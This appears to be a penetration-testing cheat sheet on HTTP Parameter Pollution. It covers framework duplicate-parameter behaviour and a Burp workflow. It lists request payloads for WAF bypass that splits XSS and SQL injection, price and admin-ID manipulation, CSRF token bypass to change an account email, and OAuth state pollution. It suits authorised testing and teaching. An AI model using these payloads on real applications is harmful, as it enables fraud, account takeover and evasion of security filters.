HTTP Parameter Pollution (HPP)
HTTP Parameter Pollution: duplicate parameter behaviour across frameworks, WAF bypass via splitting, CSRF token bypass, server-side query confusion, OAuth state bypass, and Burp testing workflow.
What is HTTP Parameter Pollution
When the same parameter name appears multiple times in a request, different frameworks/servers resolve the conflict differently. An attacker can exploit this inconsistency to confuse application logic, bypass WAFs that inspect only the first occurrence, or manipulate back-end server-side queries.
Framework Behaviour Reference
| Platform | Duplicate par=a&par=b result |
|---|---|
| ASP.NET / IIS | a,b (comma-joined) |
| PHP / Apache | b (last wins) |
| JSP / Tomcat | a (first wins) |
| Node.js (Express) | ['a','b'] (array) |
| Flask (Python) | a (first wins) |
| Django | b (last wins) |
| Ruby on Rails | b (last wins) |
| mod_wsgi | a (first wins) |
Detection
Step 1 — Identify target parameters
Use Burp Proxy to capture requests. Look for:
- Parameters used in queries, filters, or access control
- OAuth
stateparameters - CSRF tokens
- IDs used in database lookups
Step 2 — Duplicate the parameter
In Burp Repeater, duplicate the target parameter with different values:
GET /search?q=normal&q=<script>alert(1)</script>
GET /user?id=5&id=1
POST /order HTTP/1.1
item=shirt&price=10&price=1
Observe which value the application uses. Also check error messages — different frameworks produce different error formats on parameter collision.
Step 3 — WAF bypass check
Submit a payload split across two occurrences:
?q=<scr&q=ipt>alert(1)</script>
?q=UNION+SELECT&q=+NULL--
A WAF inspecting only the first parameter sees no threat; the backend may reconstruct both values.
Exploit 1: Price / ID Manipulation
If the backend uses the last (or first) value depending on framework:
POST /checkout
item_id=123&price=100.00&price=0.01
If backend takes the last value → price is $0.01. If it takes the first → $100.
Access control bypass
GET /api/user?id=5&id=1 (id=1 is admin)
If WAF checks first parameter (id=5 — your own account, looks safe), but backend processes last parameter (id=1 — admin account).
Exploit 2: CSRF Token Bypass
If the app checks for a CSRF token but uses a naive “does the parameter exist” check:
POST /settings
csrf_token=invalid_token&csrf_token=valid_token
email=attacker@evil.com
Or inject a second CSRF token in the query string when the app only validates the body parameter:
POST /settings?csrf_token=attacker_value
(body) email=attacker@evil.com
Exploit 3: OAuth State Parameter Pollution
In OAuth flows, the state parameter prevents CSRF. Pollute it:
GET /oauth/callback?state=legit&state=attacker_state&code=valid_code
If the backend processes the second state but doesn’t verify it against the session → state check bypassed.
Exploit 4: URL-Based HPP in REST APIs
GET /api/items/1&items/2
GET /api/report?format=pdf&format=csv
Exploit 5: Server-Side HPP (backend requests)
If the app constructs a URL to call a back-end API and appends user input:
# App builds: http://backend/api?action=search&q=USER_INPUT
# Inject: q=shoes&action=admin
# Result URL: http://backend/api?action=search&q=shoes&action=admin
If the backend prefers the last action parameter → escalated to admin action.
Burp Suite workflow
- Proxy — intercept all requests; identify parameters used in logic, auth, or queries.
- Repeater — duplicate each parameter with a different value; observe which the app uses.
- Intruder — Pitchfork mode: inject the same parameter with different values in positions 1 and 2 simultaneously.
- Logger++ extension — flag responses that differ from the baseline when duplicate parameters are present.
- Param Miner — discovers unlinked/hidden parameters that may be susceptible.